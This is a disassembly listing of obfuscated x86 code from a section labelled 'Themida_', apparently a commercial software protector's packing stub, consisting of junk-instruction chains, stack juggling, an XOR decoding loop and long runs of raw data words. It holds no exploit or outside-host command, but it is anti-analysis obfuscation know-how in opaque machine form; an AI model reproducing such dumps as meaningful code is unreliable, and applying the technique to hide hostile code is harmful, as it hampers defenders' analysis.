		dd 14DD0056h, 0FC070056h, 262C0056h, 5B1C0057h,	2F520056h
		dd 0E6720056h, 80900056h, 4E150056h, 0DE460056h, 3CD30056h
		dd 0ADE40057h, 537C0056h, 0E9270056h, 0A8C00056h, 89660056h
		dd 0DAA10056h, 1A570056h, 0E7C80057h, 13050056h, 7D050057h
		dd 275E0056h, 250D0056h, 90770056h, 0D8850056h,	374C0056h
		dd 17960056h, 0F43E0056h, 43BD0055h, 0EB130056h, 0F22E0055h
		dd 5720056h, 0F4260056h, 0C5FC0055h, 987B0056h,	21280056h
		dd 5B340056h, 0A30A0056h, 0FB6D0056h, 28680056h, 58210056h
		dd 318C0056h, 11E50057h, 22D80057h, 0B97E0057h,	0B7F80056h
		dd 64370056h, 0C7700056h, 156B0056h, 0E8550056h, 0E9DC0056h
		dd 2790056h, 12C90056h,	0D2F30056h, 0FCCA0056h,	0C4E0056h
		dd 0FFD0057h, 0D5110057h, 0AE7E0056h, 0BDA30056h, 0B5050056h
		dd 403F0056h, 0D88E0056h, 12FA0056h, 15120056h,	1A720057h
		dd 325F0056h, 0FEBE0056h, 32F70055h, 48770056h,	0B8790056h
		dd 0A5760056h, 77950056h, 24250056h, 1F380057h,	0F14D0056h
		dd 0EA9B0055h, 710056h,	7100057h, 217F0056h, 0D4AB0057h
		dd 0D5DD0056h, 1FB60056h, 233A0057h, 2CFB0057h,	63770057h
		dd 23750056h, 0E5D10057h, 0B1420056h, 0F21E0056h, 0EE940055h
		dd 0F72E0056h, 0EED90055h, 0F1B60056h, 35270055h, 0CC6C0057h
		dd 0FA70056h, 626F0056h, 71770056h, 0FF4B0056h,	0BF750056h
		dd 0DB290056h, 2DAC0056h, 8A0A0057h, 37D80056h,	0CA2A0057h
		dd 0A3B00056h, 31710056h, 94DF0056h, 26CC0056h,	3C350057h
		dd 24D40057h, 0CFF60056h, 400056h, 0CC520056h, 7CD70056h
		dd 1FC40056h, 284F0057h
		db 57h,	0
; ---------------------------------------------------------------------------


loc_55EA8A:				; CODE XREF: Themida_:005B0175j
					; Themida_:005B992Bj
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6A74076h
		mov	eax, edi
		add	edi, 6A73D8Eh
		cmp	eax, [edi+2Ch]
		jnz	short loc_55EAA8
		jmp	short loc_55EABB
; ---------------------------------------------------------------------------


loc_55EAA8:				; CODE XREF: Themida_:0055EAA4j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55EAB7
; ---------------------------------------------------------------------------


loc_55EAB2:				; CODE XREF: Themida_:0055EAB9j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_55EAB7:				; CODE XREF: Themida_:0055EAB0j
		or	ecx, ecx
		jnz	short loc_55EAB2


loc_55EABB:				; CODE XREF: Themida_:0055EAA6j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55EAC8:				; CODE XREF: Themida_:0055EACFj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55EAC8


loc_55EAD1:				; CODE XREF: Themida_:loc_56176Bj
					; Themida_:005617E0j ...
		lodsb
		xor	al, bl
		push	699Bh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bl, 0ACh
		jmp	loc_5627DF
; ---------------------------------------------------------------------------
		db 51h,	68h, 12h
		dd 89000055h, 0D7E9242Ch, 3100010Eh, 98E92434h,	8900010Ch
		dd 5E682434h, 8900001Eh, 86E9243Ch, 0FF000091h,	34FF2434h
		dd 0C4835824h, 14536804h, 2C890000h, 93EBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EB2A:				; CODE XREF: Themida_:0056A4FAj
		mov	esi, 5C2B9DDh
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_56EAD0
; ---------------------------------------------------------------------------
		dd 2FC78159h, 8149F417h, 41179F7h, 0DFF74772h, 4489E781h
		dd 0EF81235Fh, 536B4EBCh, 0FDEAE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EB6D:				; CODE XREF: Themida_:0056216Ej
		mov	[esp], esp
		jmp	loc_561B51
; ---------------------------------------------------------------------------
		db 5, 34h, 10h
		dd 8F2D6B3Eh, 89105506h, 3AE958C5h
		db 48h,	1, 0
; ---------------------------------------------------------------------------


loc_55EB87:				; CODE XREF: Themida_:0056223Ej
		mov	[esp], ebp
		mov	ebp, 4C5D5D9Ah
		jmp	loc_57069E
; ---------------------------------------------------------------------------
aZzS		db 'Z‡Êé;º',0
		align 4
		dd 42CBB951h, 0C1415352h, 0D1F707E9h, 4059F181h, 0C829ADDEh
		dd 5D00159h, 52871B23h,	74FF505Ah, 55E90424h, 0FF000003h
		dd 93E92434h, 8B0000EDh, 0E9532414h, 0AE69h, 4C181h, 0C1830000h
		dd 240C8704h, 4C1815Ch,	56000000h, 1148EE9h, 0DAF75B00h
		dd 0F993E9h, 24148B00h,	0C004C483h, 0C48006E4h,	2E4C07Bh
		dd 8802EC80h, 0DE8858E3h, 0E92434FFh, 0AB8Ch, 5C242C33h
		dd 12FA4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EC1D:				; CODE XREF: Themida_:0055F4C9j
		mov	edi, esp
		add	edi, 4
		jmp	loc_56AA86
; ---------------------------------------------------------------------------


loc_55EC2A:				; CODE XREF: Themida_:00569E5Dj
		add	ecx, edi
		pop	edi
		sub	ebx, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_55FA0A
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 43A80DAFh, 13E2B850h, 0C629FED7h, 9924E9h, 4B800h, 0DAE90000h
		dd 81000043h, 895820EBh, 7EB85046h, 256E5C0Ah, 7316626Ah
		dd 7A068635h, 1962E92Ch
		db 1, 0
; ---------------------------------------------------------------------------


loc_55EC8A:				; CODE XREF: Themida_:0056F6FAj
		pop	ecx
		xor	bl, 26h
		xor	bl, 0EEh
		jmp	loc_56458A
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 1000000h, 0FF535EF3h, 5B042474h, 0E924048Fh,	0B201h
; ---------------------------------------------------------------------------


loc_55ECAC:				; CODE XREF: Themida_:0056B692j
		mov	[esp], esi
		mov	esi, 3350509Bh
		jmp	loc_565C20
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0E2h
		dd 81240317h, 0C64A7CC6h, 81FE0162h, 0C64A7CEEh, 62E95262h
		dd 58000053h, 4EEC15Eh,	2E685650h, 5E123B1Fh, 885EE81h
		dd 0F6814B2Eh, 8B19611Fh, 55EF089h, 0E94078h, 9103E8C1h
		dd 2D91D1F7h, 0E9FCFBCEh, 0E958C609h, 1090Bh, 0E902EC83h
		dd 0C194h, 241C8B66h, 5102C483h, 0EB88F588h, 2434FF59h
		dd 1286BE9h, 4BF00h, 0FD890000h, 6A70E9h
		db 0
; ---------------------------------------------------------------------------


loc_55ED31:				; CODE XREF: Themida_:0056F2A3j
		sub	edx, 481DAAFDh
		add	esi, edx
		pop	edx
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		xor	bh, al
		xor	al, bh
		xor	bh, al
		jmp	loc_566A7E
; ---------------------------------------------------------------------------
		dw 525Ch
		dd 7165CBAh, 6E2C16Fh, 8105E2C1h, 600AA3CAh, 4FF5260h
		dd 685A24h, 81000000h, 73682404h, 142975CAh, 242C8124h
		dd 75CA7368h, 53BE565Ah, 0E9F18855h, 747Ch, 0E3C05B66h
		dd 1EB8002h, 0E951D3F6h, 1906h,	0FCB85095h, 11FA47Fh, 8DE958C5h
		dd 30000132h, 0C0B60FC3h, 12DB1E9h, 4C18100h, 87000000h
		dd 248B240Ch, 68BA6824h, 2C890000h, 5971BD24h, 0B32D6A2Ch
		db 5Ah,	0C4h, 18h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 77C71F48h
		and	edx, 7A1D15DCh
		shr	edx, 6
		sub	edx, 1C81451h
		jmp	loc_570023
; ---------------------------------------------------------------------------
		dd 62B8BE56h, 0F6817392h, 386E2103h, 242CE9h, 24048B00h
		dd 8704C483h, 0AE9240Ch, 540000B1h, 5A2434FFh, 4C481h
		dd 85E90000h, 330000CDh, 14312414h, 24143324h, 4C4835Ch
		dd 0FE33E950h, 2868FFFFh, 8900001Bh, 0B9512424h, 4, 32B4E9h
		dd 5DC18100h, 10B6E4Bh,	5DE981C1h, 810B6E4Bh, 0DA2254E9h
		dd 24048B77h, 0E904C483h, 0CE88h
; ---------------------------------------------------------------------------


loc_55EE64:				; CODE XREF: Themida_:0057364Dj
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		push	6AF0h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 11CA144Bh
		sub	ebp, 920EC9F5h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_572530
; ---------------------------------------------------------------------------


loc_55EE87:				; CODE XREF: Themida_:0056D1BCj
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 1
		jmp	loc_571E44
; ---------------------------------------------------------------------------


loc_55EE9B:				; CODE XREF: Themida_:0056A35Fj
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		push	62DF310Bh
		pop	ecx
		shl	ecx, 1
		neg	ecx
		jmp	loc_55FD0C
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 9D998BDCh, 0B076A92Dh, 0E9D8291Fh, 1034Ah
; ---------------------------------------------------------------------------


loc_55EEC8:				; CODE XREF: Themida_:0056C1F3j
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_5676FA
; ---------------------------------------------------------------------------
		dw 0EDB7h
		dd 73E9F908h, 0E9000125h, 0FFFFFBEDh
; ---------------------------------------------------------------------------


loc_55EEE4:				; CODE XREF: Themida_:005701B3j
		add	eax, ebx
		sub	eax, 632C055Ah
		sub	eax, 7FE10F6Bh
		pop	ebx
		jmp	loc_570DE8
; ---------------------------------------------------------------------------


loc_55EEF6:				; CODE XREF: Themida_:00563D2Bj
		add	eax, 20BB37D1h
		jmp	loc_56E8BD
; ---------------------------------------------------------------------------
		dd 0A8BF5750h, 0E9762A0Eh, 77C9h, 42BD555Eh, 0E9086833h
		dd 43Bh, 582434FFh, 8F04C483h, 385C2404h, 0A6E99CC1h, 8BFFFFFBh
		dd 8B662424h, 57E92404h, 5C000119h, 125B2E9h, 0C5F38100h
		dd 3122F5A3h, 0F5815BDDh, 5832BA0Eh, 15DE989h, 240C8BCEh
		dd 4C481h, 34870000h, 24248B24h, 52E38953h, 37AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EF69:				; CODE XREF: Themida_:005689A3j
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_56940C
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 305752C0h, 0D1B9515Ah, 57441D1Eh, 0E952E789h, 70CEh
; ---------------------------------------------------------------------------


loc_55EF94:				; CODE XREF: Themida_:00571755j
		push	61D3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edx
		mov	edx, 50561883h
		not	edx
		add	edx, 50561888h
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 71647FC0h
		sub	ebx, 17043C85h
		push	445Ch
		mov	[esp], ecx
		mov	ecx, 5A604337h
		jmp	loc_56EE05
; ---------------------------------------------------------------------------
aShc		db 'Sh—,',0
		dd 24048900h, 9D0E9h, 52C8FE00h, 0D030E9B2h, 0BEEE95Ah
		dd 0E95A0001h, 0C2CAh, 0E924348Bh, 6C24h, 0A242EFBFh, 0C174E944h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F016:				; CODE XREF: Themida_:00571A11j
		pop	eax
		mov	edi, [esp]
		jmp	loc_571E7A
; ---------------------------------------------------------------------------
		db 9
		dd 140DE9CDh, 0C3810001h, 2, 56E08950h,	61AFBA52h, 55BE3645h
		dd 81C9BA9Eh, 9809B1C6h, 81D60113h, 9809B1EEh, 0F0015A13h
		dd 42D5Eh, 4870000h, 7DE95C24h,	4B000110h, 5581BE56h, 0F6817A12h
		dd 0A68E4357h, 315EF329h, 52505BD8h, 742309BAh,	5AD0897Dh
		dd 0DD05D0F7h, 2D368246h, 0A000BD78h, 0B7E9C701h
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F08B:				; CODE XREF: Themida_:00570624j
		mov	si, 671Fh
		dec	si
		shl	si, 4
		add	si, 0E32h
		sub	si, 0FFFFh
		not	si
		xor	si, 7E8Bh
		sub	ax, si
		pop	esi
		push	bp
		push	41DDh
		mov	[esp], esi
		push	small 293Dh
		pop	si
		shr	si, 3
		push	bp
		mov	bp, 61B1h
		xor	si, bp
		pop	bp
		mov	bp, si
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56A675
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 4Eh
		dd 0F105E9h, 87D2F700h,	0E9DA87D3h, 77A6h, 241C8966h, 66241CF6h
		dd 0FED3F65Bh, 4E3C0C3h, 148D4E9h, 4BA00h, 0D7010000h
		dd 8324148Bh, 0EF8104C4h, 4, 8E75E9h, 40CE8100h, 0E913C503h
		dd 0A4B2h, 0C281E289h, 4, 4C281h, 84E90000h, 960000F2h
		dd 4896DEF7h, 0FCE4BE56h, 0F031480Bh, 0FF32E9h,	240C8B00h
		dd 6A14E9h, 0E1895100h,	4C181h,	1DE90000h, 0C100006Dh
		dd 0F68103E6h, 1A3EB52Bh, 815EF389h, 714B41EEh,	81DE2939h
		dd 714B41C6h, 0EED15B39h, 5B27E681h, 0DEF778B1h, 9D6EEE81h
		dd 0B1E96965h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F193:				; CODE XREF: Themida_:0056FA7Bj
		pop	dword ptr [esp]
		jmp	loc_571634
; ---------------------------------------------------------------------------
		db 80h
		dd 0C6806BE6h, 0E08950CAh, 405h, 42D00h, 4870000h, 4EB4E924h
		dd 77FF0000h, 2434FF3Ch, 5724048Bh, 0BB53E789h,	16942318h
		dd 0E905EBC1h, 6BEDh, 0B94EA8B8h, 58C72925h, 0E924048Bh
		dd 0A6ECh, 85E9D2F6h, 5200005Bh, 0D55DE953h, 0DCBA0000h
		dd 0E97EA057h, 13C26h
; ---------------------------------------------------------------------------


loc_55F1F8:				; CODE XREF: Themida_:0056D7FBj
		add	ebx, edi
		pop	edi
		push	4385h
		jmp	loc_55F307
; ---------------------------------------------------------------------------
		db 0BDh, 0C2h, 34h
		dd 0EE0941DEh, 0EC83465Dh, 24048904h, 6F76F2B8h, 0DF61E958h
		dd 8B660000h, 0E368240Ch, 89000021h, 0E189240Ch, 4EC81h
		dd 16E90000h, 59000064h, 0E9F2E9h, 8BC70100h, 0EDE92404h
		dd 0B700000Bh, 6CEF807Eh, 0FE07EFC0h, 0FFC780C7h, 0E92BEF80h
		dd 0F599h
; ---------------------------------------------------------------------------


loc_55F25C:				; CODE XREF: Themida_:0056C4DFj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		push	51CE2121h
		jmp	loc_571024
; ---------------------------------------------------------------------------


loc_55F26F:				; CODE XREF: Themida_:0056B51Aj
		mov	[esp], ecx
		jmp	loc_56BBC7
; ---------------------------------------------------------------------------
		db 54h
		dd 0E789575Ah, 4C781h, 0EF830000h, 243C8704h, 2434895Ch
		dd 101F7E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F291:				; CODE XREF: Themida_:0056C31Bj
		pop	esp
		jmp	loc_57241B
; ---------------------------------------------------------------------------
		db 57h
		dd 0E27189BFh, 6EFC11Dh, 10D6CE9h, 0E9E08900h, 3A81h
; ---------------------------------------------------------------------------


loc_55F2AC:				; CODE XREF: Themida_:0057071Dj
		sub	dword ptr [esp], 4D2034BCh
		pop	ebx
		shr	ebx, 7
		xor	ebx, 7CEA47CAh
		sub	ebx, 6777742h
		push	1E75h
		mov	[esp], eax
		mov	eax, 6BFA3BE1h
		jmp	loc_568A12
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 6B5Fh, 795968h, 240C8900h, 0FEABB353h, 43CB80C3h
		dd 0EB80DBF6h, 0F7C380FFh, 52B5C380h, 0D188DA88h, 97E95B5Ah
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F307:				; CODE XREF: Themida_:0055F200j
		mov	[esp], eax
		mov	eax, 5B554FA3h
		push	edx
		push	7A04h
		mov	[esp], ecx
		mov	ecx, 7AD80600h
		inc	ecx
		jmp	loc_564F86
; ---------------------------------------------------------------------------


loc_55F323:				; CODE XREF: Themida_:00562F25j
		mov	eax, edx
		pop	edx
		jmp	loc_573DCC
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4B951h, 0CE010000h, 24348759h, 28BD555Ch, 81739540h
		dd 3B4872F5h, 80C58176h, 0C115C021h, 2EE905E5h,	810000AFh
		dd 2A231CEDh, 4CED810Ch, 0C1148739h, 0ED8103EDh, 292F2593h
		dd 0ED81D5F7h, 0DAF8CAE5h, 295DE829h, 7FD205E8h, 0F1E9313Fh
		dd 0BA0000AEh, 104332EBh, 0D88C13BBh, 49E7E93Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F38E:				; CODE XREF: Themida_:0056F0B4j
		mov	[esp], esi
		mov	esi, 43C3134Fh
		sub	esi, 0CD793A4Fh
		xor	edi, esi
		pop	esi
		shl	edi, 8
		jmp	loc_572FCF
; ---------------------------------------------------------------------------


loc_55F3A7:				; CODE XREF: Themida_:0056B124j
		mov	ecx, ebp
		jmp	loc_564507
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815824h, 4, 499EA80h, 2864047Dh, 0BCB151D0h, 0E912F180h
		dd 8169h, 0E924348Bh, 0DA5Ah, 0F381DBF7h, 3FEE8DEDh, 376F68h
		dd 24148900h, 9B587FBAh, 0E9D3212Ch, 4708h, 0C681E689h
		dd 4, 8904EC83h, 4BD242Ch, 1000000h, 242C8BEEh,	0BDBAE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F40D:				; CODE XREF: Themida_:00573D0Fj
		add	ebp, 0EDD52FFh
		xor	ebp, 750E6AE4h
		shr	ebp, 1
		sub	ebp, 49AF11B6h
		jmp	loc_573EEA
; ---------------------------------------------------------------------------
		dw 4ACh
		dd 4D704AEh, 53D8287Bh,	4EC81h,	4890000h, 14F3E924h, 34FF0001h
		dd 240C8B24h, 4EC81h, 34890000h, 57F2E924h, 0F680000h
		dd 8900004Eh, 70E92434h, 0C10000AEh, 0CE907E1h,	2D00002Dh
		dd 2A005A26h, 48BC189h,	4C48324h, 0B4EBF57h, 0EB81152Ah
		dd 15BA590Fh, 26B0EB81h, 0FB293D93h, 26B0C381h,	0C3813D93h
		dd 15BA590Fh, 4CEEE9h, 49FBF00h, 0F7810060h, 12E219D1h
		dd 8308EFC1h, 0F78101C7h, 776F788Bh, 8589B850h,	0C731E245h
		dd 529EE9h, 5FF88900h, 0DEE9C131h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F4C7:				; CODE XREF: Themida_:0056D60Ej
		pop	ecx
		push	edi
		jmp	loc_55EC1D
; ---------------------------------------------------------------------------
aYss4r		db 'YSé4R',0
		dd 4C48300h, 0AE037905h, 9DB7E94Fh, 0DE010000h,	4C6815Bh
		dd 87000000h, 875C2434h, 248B241Ch, 0B30F6624h,	0E99C2404h
		dd 0FFFFF5D1h, 5B4BDD2Dh, 0E9C82903h, 2A81h, 0B951E689h
		dd 38351F19h, 10567E9h,	0E9596600h, 0A1A4h, 24048F58h
		dd 243C895Ch, 2B02BD55h, 0EDC12E63h, 0E5814D02h, 105F49ECh
		dd 81FFC583h, 1848A7EDh, 1539E900h, 815A0001h, 2ECh, 0FB9EE900h
		dd 0E951FFFFh, 0FB08h, 0C381E389h, 4, 5304EB83h, 42474FFh
		dd 0E9241C8Bh, 0ABD4h, 8BE9C729h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F577:				; CODE XREF: Themida_:00568D90j
		pop	edi
		jmp	loc_565291
; ---------------------------------------------------------------------------
		db 0BBh, 8Dh, 0Fh
		dd 0DA297530h, 83F2295Bh, 0C8904ECh, 0F8DB924h,	0EA817530h
		dd 6ECC7737h, 10F69E9h,	4E88300h, 5C240487h, 0E9241C89h
		dd 9C7Eh, 4C181h, 0ECE90000h, 5E00011Ch, 4C681h, 0C6830000h
		dd 74FF5604h, 0EBE90424h, 5C000017h, 9C240431h,	0FFF4FCE9h
		dd 242C8BFFh, 0E7E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F5DD:				; CODE XREF: Themida_:00569CDBj
		pop	eax
		jmp	loc_56A6EC
; ---------------------------------------------------------------------------


loc_55F5E3:				; CODE XREF: Themida_:005627DAj
		mov	[esp], edx
		mov	edx, 1DE32340h
		shr	edx, 7
		push	ecx
		mov	ecx, 122A0F0Bh
		push	edi
		mov	edi, 0EC5BA6D4h
		sub	ecx, edi
		pop	edi
		add	ecx, 0CB01911h
		dec	ecx
		push	ebp
		mov	ebp, 58B12ABDh
		add	ebp, 0F607EEAEh
		or	ecx, ebp
		pop	ebp
		jmp	loc_565233
; ---------------------------------------------------------------------------
		dd 5B66DC30h, 8069C480h, 54E959F4h, 0FF0000AAh,	2C8B2434h
		dd 4C48124h, 81000000h,	4C4h, 38206800h, 2C890000h, 4BD24h
		dd 0E9520000h, 0D1E3h, 3100C281h, 0EB81AED4h, 5B5037FAh
		dd 0B648E9h, 59CA2900h,	4C2815Bh, 68000000h, 1C3h, 2D25E9h
		dd 47316800h, 34890000h, 7ABD5524h, 0E915A44Bh,	52D8h
		dd 0DE9D3F7h, 81000041h, 4C4h, 83BA5200h, 4A198F38h, 368CBB53h
		dd 0DA090644h, 9EE2815Bh, 0E96A2E73h, 136BAh, 97E9D6F7h
		dd 8300010Fh, 3C8904ECh, 7086BF24h, 0E9505B19h,	1251Bh
		dd 4C481h, 0AEE90000h, 8B0000EEh, 0C481241Ch, 4, 0BEE9F801h
		dd 89000026h, 0C758E9DEh, 8B660000h, 0EC812404h, 4, 54240C89h
		dd 8AE95359h, 59000131h, 4C181h, 0E9810000h, 4,	78C868h
		dd 8CC4E900h, 895D0000h, 242C8BEFh, 4EC81h, 0C890000h
		dd 81E18924h, 4C1h, 161BE900h, 0C8B0001h, 5F545724h, 27ADE956h
		dd 89680001h, 0E9000073h, 1184Bh, 814ED6F7h, 0B5F142EEh
		dd 0E9F389D2h, 0E3A3h, 5EF7315Dh, 7580E9h, 243C8B00h, 3C39E951h
		dd 0DFF70001h, 85D3EF81h, 0C181F126h, 60A74B94h, 5B48E981h
		dd 0F901127Ch, 13D4CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F781:				; CODE XREF: Themida_:0056C72Fj
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56094F
; ---------------------------------------------------------------------------
		dd 3D71BA52h, 0EA816830h, 68303D6Dh, 0E95AD601h, 146B1h
		dd 0AE5BE954h, 5CBF0000h, 813F0A8Eh, 0B106BCEFh, 81CF2966h
		dd 0B106BCC7h, 3BE95966h, 8900013Ch, 2968243Ch,	8900004Eh
		dd 4832424h, 0E95F0424h, 24E4h,	0EB81D3F7h, 0DF5CDCF5h
		dd 0A8EDE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F7E5:				; CODE XREF: Themida_:00563649j
		add	esp, 4
		push	123h
		mov	[esp], edi
		push	ebx
		jmp	loc_56E7B1
; ---------------------------------------------------------------------------


loc_55F7F6:				; CODE XREF: Themida_:0056CE95j
		pop	edx
		sub	ebp, 3D04300Ch
		xor	ebp, 51B4583h
		sub	esp, 4
		jmp	loc_566D09
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 240C3124h, 5C240C33h, 0FF2434FFh, 34FF2434h,	2434FF24h
		dd 81240C8Bh, 4C4h, 0E7895700h,	4C781h,	0C7830000h, 243C8704h
		dd 4C4815Ch, 68000000h,	5EECh, 121C9E9h, 81E18900h, 4C1h
		dd 4BA5200h, 81000000h,	7D5460E9h, 4530E969h, 0C1810001h
		dd 4, 8704C183h, 248B240Ch, 0E2895224h,	8904EC83h, 87BB241Ch
		dd 816D1854h, 9978E0EBh, 407DE978h, 0D9F60000h,	0BE95166h
		dd 0FE000135h, 254FE9CCh, 8F590000h, 685C2404h,	73E9h
		dd 86B5E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F8AE:				; CODE XREF: Themida_:00563958j
		mov	esi, ebx
		pop	ebx
		jmp	loc_56B11D
; ---------------------------------------------------------------------------


loc_55F8B6:				; CODE XREF: Themida_:005720D6j
		sub	ebp, 5ADBE638h
		add	ecx, ebp
		jmp	loc_56555C
; ---------------------------------------------------------------------------
		db 89h
		dd 0E1E951E3h, 52000145h, 101EAE9h, 0C4815F00h,	4, 0B7DE9h
		dd 24248B00h, 8702C783h, 665C243Ch, 9C240CFFh, 0FFF1E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F8F1:				; CODE XREF: Themida_:00560981j
		shr	eax, 3
		or	eax, 71FB0480h
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		or	eax, 635367Ch
		add	eax, 0E571D6F0h
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ecx, edi
		push	edi
		push	ecx
		push	esi
		jmp	loc_56E029
; ---------------------------------------------------------------------------


loc_55F919:				; CODE XREF: Themida_:0056F0D5j
		push	ebp
		mov	ebp, 4
		jmp	loc_572603
; ---------------------------------------------------------------------------
		dd 158C231h, 24148BD7h,	0EA68E9h, 74FF5700h, 8F5F0424h
		dd 0BCE92404h, 8B000126h, 53E92404h, 8B0000D5h,	5668240Ch
		dd 89000056h, 0E0892404h, 6A8E9h, 0C8B6600h, 2C48124h
		dd 66000000h, 5024148Bh, 405E089h, 5000000h, 2,	13376E9h
		dd 415EB900h, 0E1815528h, 1FB770B5h, 6F0FF181h,	0E1C16342h
		dd 67E46804h, 5AE90000h, 310000B9h, 14332414h, 24248B24h
		dd 9C240401h, 0FFF128E9h, 22E981FFh, 89C877F6h,	240C8BCAh
		dd 6804C483h, 4135h, 10681E9h, 0B725B000h, 8BC700E6h, 0C4812404h
		dd 4, 0C7FED7F6h, 0E780C7FEh, 30C73048h, 586FE9F8h, 0E95A0000h
		dd 5059h
; ---------------------------------------------------------------------------


loc_55F9E8:				; CODE XREF: Themida_:00563DFEj
		mov	[esp], ebx
		mov	ebx, 1
		push	ebx
		push	eax
		mov	eax, 7036AFCh
		sub	[esp+4], eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56B707
; ---------------------------------------------------------------------------


loc_55FA0A:				; CODE XREF: Themida_:0055EC4Dj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5689C6
; ---------------------------------------------------------------------------
		db 81h
		dd 1B2381F3h, 0E9DA29EEh, 910Ch, 4A6662BDh, 8BE929E1h
		dd 0C483242Ch, 0F5EDE904h, 6FBEFFFFh, 0E97F8841h, 8804h
; ---------------------------------------------------------------------------


loc_55FA3C:				; CODE XREF: Themida_:005695D5j
		mov	edi, 2
		sub	edx, 13F93A23h
		add	edx, edi
		push	eax
		jmp	loc_5731FB
; ---------------------------------------------------------------------------
		db 1
		dd 5E042474h, 0E9494959h, 70E5h, 0E95AD309h, 0FFFFF970h
		dd 4B9h, 244C0100h, 51585904h, 121B6EB9h, 96C18116h, 1E9EDE4h
		dd 240C8BC8h, 0E9E68956h, 0A727h, 0FBBE565Ah, 8109B032h
		dd 0CD3C2BE6h, 0A0C68156h, 0E91BF473h, 11AE5h, 5A2434FFh
		dd 4C481h, 20E90000h, 5E0000E9h, 8B241C87h, 4892424h, 24B824h
		dd 0C6810000h, 690561C4h, 3668C601h, 89000077h,	0C4B82404h
		dd 29690561h, 2434FFC6h, 4C48158h, 0FF000000h, 48B2434h
		dd 4C48324h, 422568h, 243C8900h, 0BE565F54h, 4,	7570E9h
		dd 9AEE8100h, 1BD3CEAh,	0C0835EF0h, 24043304h, 33240431h
		dd 0E95C2404h, 0FFFFEFD5h, 0DA88E388h, 5AD7885Bh, 5724048Bh
		dd 408168h, 789E900h, 48F0000h,	5E616824h, 34890000h, 0DF4CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FB3E:				; CODE XREF: Themida_:00571EC4j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	esi
		jmp	loc_56FF32
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 4E9815Bh, 0E9000000h, 844Dh,	0BE243489h, 34D3857h, 3BE9F189h
		dd 5F00009Ah, 91E95051h, 88000012h, 58042464h, 5EE9D5F6h
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FB7B:				; CODE XREF: Themida_:00563714j
		mov	ebp, 75F76A5Eh
		add	ebp, 0FECDBDFEh
		jmp	loc_56B0D2
; ---------------------------------------------------------------------------


loc_55FB8B:				; CODE XREF: Themida_:00572264j
		pop	esp
		jmp	loc_565A2B
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0E8h
		dd 8103C350h, 550EAC5h,	0FFEB89F4h, 815D2434h, 4C4h, 1C5F0900h
